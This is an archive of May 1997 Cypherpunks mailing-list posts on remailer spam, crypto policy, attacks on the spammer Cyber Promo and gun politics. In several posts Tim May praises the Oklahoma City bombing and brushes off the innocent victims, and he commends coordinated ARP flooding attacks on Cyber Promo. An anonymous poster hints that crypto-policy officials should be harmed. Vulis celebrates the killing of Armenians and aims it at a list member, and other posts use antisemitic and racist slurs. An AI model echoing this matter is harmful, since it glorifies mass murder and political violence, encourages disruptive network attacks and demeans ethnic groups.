In-Reply-To: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <v03007802af99cbd0ac96@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:05 PM -0800 5/9/97, Graham writes about Graham-John:

>> Please can you stop this spam from your site.
>
>It's unclear how lucifer could do this without limiting legit traffic
>and destroying the usefulness of the remailer.  Filtering by mail
>addresses is immoral for such a remailer, as is examination of the
>source text.
>
>Better to address this server side, in the list itself, but that
>requires moderators and a lot of time and effort.  The result is often
 ^^^^^^^^^^^^^^^^^^^                                ^^^^^^^^^^^^^^^^^^^
>worth it.  Even better than that is to simply ignore the loser.
 ^^^^^^^^

Oh yeah? "The result is often worth it"?

Apparently Graham is not acquainted with the history of this list.

As I like to say, "Those not acquainted with the history of the Cypherpunks
list are condemned to continue suggesting it be moderated."

(not a direct quote of Carlos Santana, nor the other guy with the similar
name.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 14:14:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: <v03007803af99cd1afa0b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
>It is time something unfortunate happened to all those leading the push
>for new crypto limits.

You mean like attaching a new Ryder to the bill?


--Tim McVeigh, er, May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 10 May 1997 12:25:44 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <199705100417.XAA05930@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> >The problem I have with them is that while they do say "Send email here
> >to never be spammed again" it doesn't work.  They don't honor the
> >deletion requests.  You wind up on some other dweeb's spam queue also
> >from cyberspam. :(
> 
> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"

You know, maybe if the spammers were not routinely kicked 1/2 hr after
the incident, they would probably have a chance to receive and honor
the removal requests.

But then, maybe not.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aja.ub@t-online.de (Andreas Jahnke)
Date: Sat, 10 May 1997 06:09:17 +0800
To: cypherpunks@toad.com
Subject: How to get contact with Cypherpunks?
Message-ID: <33739A33.4CB3@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I´m a user of internet technologies and interested to learn more about
privacy and security in internets/intranets. How can I participate?

Greetings from Nueremberg/Germany

Andy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 15:01:34 +0800
To: cypherpunks@toad.com
Subject: Re: New admin crypto policy
Message-ID: <199705100646.XAA03666@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
> >It is time something unfortunate happened to all those leading the push
> >for new crypto limits.
> 
> You mean like attaching a new Ryder to the bill?
> 
> --Tim McVeigh, er, May

  The story so far:
  Mr. Nobody sends a message to the cypherpunks list via an
anonymous remailer suggesting that someone ought to fuck with
Cyberpromo. Cyberpromo gets fucked with shortly thereafter.
  Mr. Nobody sends a message to the cypherpunks list suggesting
that it's time for something unfortunate to happen to those
leading the push for new crypto limits.

  Perhaps someone should start a betting pool to guess whether
the spooks are taking aim at the remailers or if they are setting
up a particular cypherpunk, instead.
  We could start a betting pool to guess who will shortly have
something "unfortunate" happen to them, but that might get the
winner in a lot of trouble.

TruthMcVeigh





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 10 May 1997 15:45:42 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510003251.006c7650@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 5/9/97 -0800, Tim May wrote:

>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.
......................................................


Timothy must be drunk; I can't believe he said this.   Because he wouldn't
spend so much time writing sensible things of Truth & Light, if he thought
the better thing to do for achieving libertarian values was to kill so
indiscriminately with a bomb.    After all, he subscribes to utmost
discrimination.   So I think right now he's less in the engagement of
Reason and more under the influence of maybe some Bud Light.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 19:01:29 +0800
To: cypherpunks@toad.com
Subject: [STEGO] Certified primes
Message-ID: <199705101044.DAA12163@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Maya is just a poor excuse for an 
unschooled, retarded thug.

         ____
         \ _/__ Timothy Maya
          \\  /
            \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 10 May 1997 23:13:53 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <19970510075351.10131@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Blanc <blancw@cnw.com> writes:
> 
> [Quoting Timmy May]
> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> >
> >
> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> > spend so much time writing sensible things of Truth & Light, if he thought
> > the better thing to do for achieving libertarian values was to kill so
> > indiscriminately with a bomb.    After all, he subscribes to utmost
> > discrimination.   So I think right now he's less in the engagement of
> > Reason and more under the influence of maybe some Bud Light.
> 
> Everybody in that building was somehow affiliated with the gubmint.

Everybody everywhere is somehow affiliated with the gubmint, including
you and Tim May.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 23:41:28 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v03007804af9a5096de5c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:35 PM -0800 5/9/97, Blanc wrote:
>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>
>>Every day that passes, I'm more convinced that McVeigh did the right thing.
>>Some innocents died, but, hey, war is hell. Broken eggs and all that.
>......................................................
>
>
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.
>

Give me a break. The "he must be drunk" argument is the cheapest shot, no
pun intended, in the book.

(And, please, knock of the use of "Timothy" is a post where one disagrees.
If "Tim" is fine for most responses, why the sudden formal "Timothy"?
Another rhetorical device.)

Never ascribe to alcohol what can be explained by righteous anger.

I _said_ that innocents died. But there never should've been a day care
center in a soft target.

Innocents died in Dresden. No doubt compelling stories and images could be
dug up of little Frieda slowly suffocating as the firestorms sucked the air
out of her underground shelter, or of little Hans screaming for his mother
as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
admitted to be a  "public demonstration" of allied willingness to destroy
civilians in what was primarily a "cultural" city, not a significant center
of military production.

McVeigh probably did not help the cause of liberty, in the long run. But I
can better understand why he acted. He saw that Federal building as a
military target. Innocents died. Such is the nature of war.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 23:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: Disinformation in L.A.
Message-ID: <v03007805af9a53d9a256@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I just watched on CNN the images of the raid on the "militia cell" in L.A.,
cited as a cell having "thousands and thousands" of rounds of ammo (ooh,
scary!), and of having "anti-government literature" (there ought to be a
law against this kind of stuff!).

They also claimed they found "armor-piercing rounds" and "cop-killer bullets."

Well, I saw the cops and their shill reporters demonstrating what many of
us have in our own arsenals. (The Second Amendment should be repealed!)

The cops claim they know that "something was being planned." And how do
they know this? Probably the standard method: infiltrate a narc into the
group and have him plant ideas and spout extremist rhetoric, then use this
same rhetoric to get a compliant judge to issue a search warrant, even if
no actual crime has been committed. (Except the search warrant is used as a
"raid warrant," with black-clad ninjas breaking down the doors...and if the
victims inside think they're under attack by unnamed thugs and try to fight
back, a good reason for the ninjas to start shooting. A good way to dispose
of dissidents and heighten the sense of panic.)

We live in a police state.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 10 May 1997 18:13:41 +0800
To: dlv@bwalk.dm.com
Subject: Re: El Gamal
In-Reply-To: <P6og7D61w165w@bwalk.dm.com>
Message-ID: <199705100745.IAA00558@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> nobody@REPLAY.COM (Anonymous) writes:
> 
> > Vulis wrote re ElGamal:
> > >
> > > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
> >
> > Because Sameer's competition already hired him.  Get a clue...
> 
> Okidata is competing with Sameer?

Taher El Gamal works for Netscape now...

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:52:57 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <X8NH7D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:
>
> >Filtering isn't the point.  Just as you have the right to free speech,
> >you also have the right to ignore someone else's speech as it is aimed at
> >you.  If you don't want Cyberspammo to spam you, they should honor your
> >request to take their crap elsewhere.

Ray Arachelian is a terrorist who publicly advocates criminal hacking.
Please e-mail your comments to jack@earthweb.com.

[Timmy C... May]
> Much as it pains me to dispute my usual ideological ally Ray A.

There's no question that Timmy and Ray are ideological allies.

> If by this Ray means "as decent human beings they should," then, well,
> perhaps so.

Suppose the request is phrased, "Please refrain from posting to soc.motss
in the future". Should a "decent human being" honor it?

Suppose the request is phrased, "Please refrain from posting to Usenet
in the future", without specifying the newsgroup.

> Fact is, so long as anybody is free to send a message to someone else, then
> what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
> sense of not breaking any laws. Whether tasteful or not, legit.

Of course, Timmy May, unlike many other people, did not object when Cocksucker
John Gilmore unsubscribed me from this list (even posted a blurb in Gilmore's
support claiming that I was removed for "volume", not "content", apparently
in reference to Gilmore's lies that I was sending "50 articles/day" and
"megabytes" - both of which are outright lies).

Of course Timmy May didn't utter a word when the plan to "moderate" this
mailing list by a C2Net shill was being discussed.

Therefore is feeble attempt tp speak up in defense of someone's free speech
is insincere and hypocritical.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
>
> So?

A decent person can filter them out, like I do.

The attempts by net.terrorists like Ray Arachelian&co to silence Wallace are
no different from the attempts by C2Net to silence me, or the attempts by
the Nazi German government to silence the Radikal, or the atttempts by
the Burmese government to silence its opposition. Only an ignorant hypocrite
like Timmy May can argue that because a particular gang of thugs calls
itself "gubmint", its form of censorship is somehow more or less benign
than private censorship enforced via terrorist acts.

I'm very glad that the Turks retaliated against Armenians in 1915 -
it's too bad they didn't get Ray Arachelian's criminal grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:50:14 +0800
To: cypherpunks@toad.com
Subject: Re: Certified primes
In-Reply-To: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>
Message-ID: <PsoH7D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Graham C. Hughes" <graham.hughes@resnet.ucsb.edu> writes:

> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
>
> > Please can you stop this spam from your site.
>
> It's unclear how lucifer could do this without limiting legit traffic
> and destroying the usefulness of the remailer.  Filtering by mail
> addresses is immoral for such a remailer, as is examination of the
> source text.
>
> Better to address this server side, in the list itself, but that
> requires moderators and a lot of time and effort.  The result is often
> worth it.  Even better than that is to simply ignore the loser.

I don't see either the ASCII art of Grham-John's responses to it.

Likewise I see almost no UCE.

I use filters.

Graham-John chooses not to use filters.

Graham-John wants to limit other people's freedom to read what they
choose to read to accommodate his inadequate choice of tools.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:47:07 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <ZwoH7D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc <blancw@cnw.com> writes:

[Quoting Timmy May]
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>
>
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Everybody in that building was somehow affiliated with the gubmint.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 00:30:28 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007807af9a5cf5c64a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>Yes this is true just as it is ligit for me to make arp request to their
>routers, lots of arp requests <EG>. There is nothing ilegal from me sending
>such a request nor is their any limitation on the number of request that I
>make.
...
>
>Yep and sending me spam is saying "Make more arp requests!!!!"
>
>So?

I never claimed otherwise. The effort to shut down CyberPromo with
coordinated ARP attacks is to be commended. This will probably turn out to
be another success story for Cypherpunks, having forced Wallace off the
air, so to speak.

"What goes around, comes around."

If you read my post carefully you'll see that I never said ARP attacks were
unjustified. I merely took issue with Ray A.'s point that CyberPromo was
not "honoring" requests to cease. (Absent a contractual arrangement, no one
is under any obligation to "honor" requests about what they wish to have
sent to them in e-mail.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 00:34:55 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v03007808af9a5e220d18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>Don't forget that they are placing the "Race" card on this one.
>
>On the CNN report they showed dummies with features resembling blacks &
>latinos. The other news agencies have also picked up on this and are
>mentioning it in their reports. Expect in the next day or two for them to
>be described as "hatefull white supremist".
>
>The only greater crime in America than being a gun owner is being a white
>gun owner.

Actually, the "ring leaders" cited prominently were named Yee and Ung, and
thus appear to be orientals, not whites.

(Don't forget that during the L.A. riots it was the Koreans who prominently
were defending themselves and their property with so-called "assault
weapons" against the coloreds. The main justice that came out of those
riots was that 30 square blocks of inner L.A. remain burned out and
unrebuilt, leaving those who rioted and looted with no local stores to shop
in. And the Koreans are even vastly better armed than before.)

Apropos of this last point, I wouldn't be at all surprised if "Yee" and
"Ung" turn out to be Koreans interested in defending themselves against
these hordes of animals.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 11 May 1997 01:01:36 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <v02140b01af9a3c4f5684@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

Why not also include a bottle of Thunderbird for Chiles?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 18:49:36 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] Certified primes
In-Reply-To: <199705101044.DAA12163@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970510094431.97276B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.


> Timothy Maya is just a poor excuse for an 
> unschooled, retarded thug.
> 
>          ____
>          \ _/__ Timothy Maya
>           \\  /
>             \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 11 May 1997 00:54:24 +0800
To: "Peter D. Junger" <cypherpunks@algebra.com
Subject: Re: One-Time Pads as Attack Method
Message-ID: <v02140b03af9a55d9569d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.

All the more reason to use a good disk encryption program to keep private
as muc of you disk as possible (under CryptDisk/PGPDisk its everything but
the System Folder).

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 22:09:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v0302090baf9a2c6511d1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:35 am -0400 on 5/10/97, Blanc wrote:


> So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Nah.

He's just doing his Sam Adams routine. (hyuk!)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 00:03:29 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Certified primes
In-Reply-To: <PsoH7D6w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970510094708.97276C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu> writes:
> 
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> >
> > > Please can you stop this spam from your site.
> >
> > It's unclear how lucifer could do this without limiting legit traffic
> > and destroying the usefulness of the remailer.  Filtering by mail
> > addresses is immoral for such a remailer, as is examination of the
> > source text.
> >
> > Better to address this server side, in the list itself, but that
> > requires moderators and a lot of time and effort.  The result is often
> > worth it.  Even better than that is to simply ignore the loser.
> 
> I don't see either the ASCII art of Grham-John's responses to it.

I see no art just you Vulis the mad sex pervert.

> 
> Likewise I see almost no UCE.
> 
> I use filters.
> 
> Graham-John chooses not to use filters.
> 
> Graham-John wants to limit other people's freedom to read what they
> choose to read to accommodate his inadequate choice of tools.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 10 May 1997 23:37:59 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <199705101522.KAA12684@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <19970510075351.10131@bywater.songbird.com>, on 05/10/97 at 08:53 AM,
   Kent Crispin <kent@songbird.com> said:


>On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>Blanc <blancw@cnw.com> writes:
>> 
>> [Quoting Timmy May]
>> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
>> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>> >
>> >
>> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>> > spend so much time writing sensible things of Truth & Light, if he thought
>> > the better thing to do for achieving libertarian values was to kill so
>> > indiscriminately with a bomb.    After all, he subscribes to utmost
>> > discrimination.   So I think right now he's less in the engagement of
>> > Reason and more under the influence of maybe some Bud Light.
>> 
>> Everybody in that building was somehow affiliated with the gubmint.

>Everybody everywhere is somehow affiliated with the gubmint, including you
>and Tim May.

That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3ShmI9Co1n+aLhhAQGxhgQAqNw/NSdqXsO31k9fN1sgmHajiWXkfgl8
lsohbgUBFgwSG+l6hTtJseUfZOLd1ZrCLWxwdARkmgvRY1qGe60c4jJ+3PIbIy8O
bYpcY/4yxmfo5lW3nCXDsnn5jZUFOb3rAtxOgjHGlazrGq34BTe0L74N0F23T7F5
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=Jyix
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 10 May 1997 22:42:18 +0800
To: junger@upaya.multiverse.com
Subject: Re: One-Time Pads as Attack Method
In-Reply-To: <9705091650.AA19981@future.atlcom.net>
Message-ID: <199705101433.KAA27034@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


00043.an@edtec.com writes:

: 
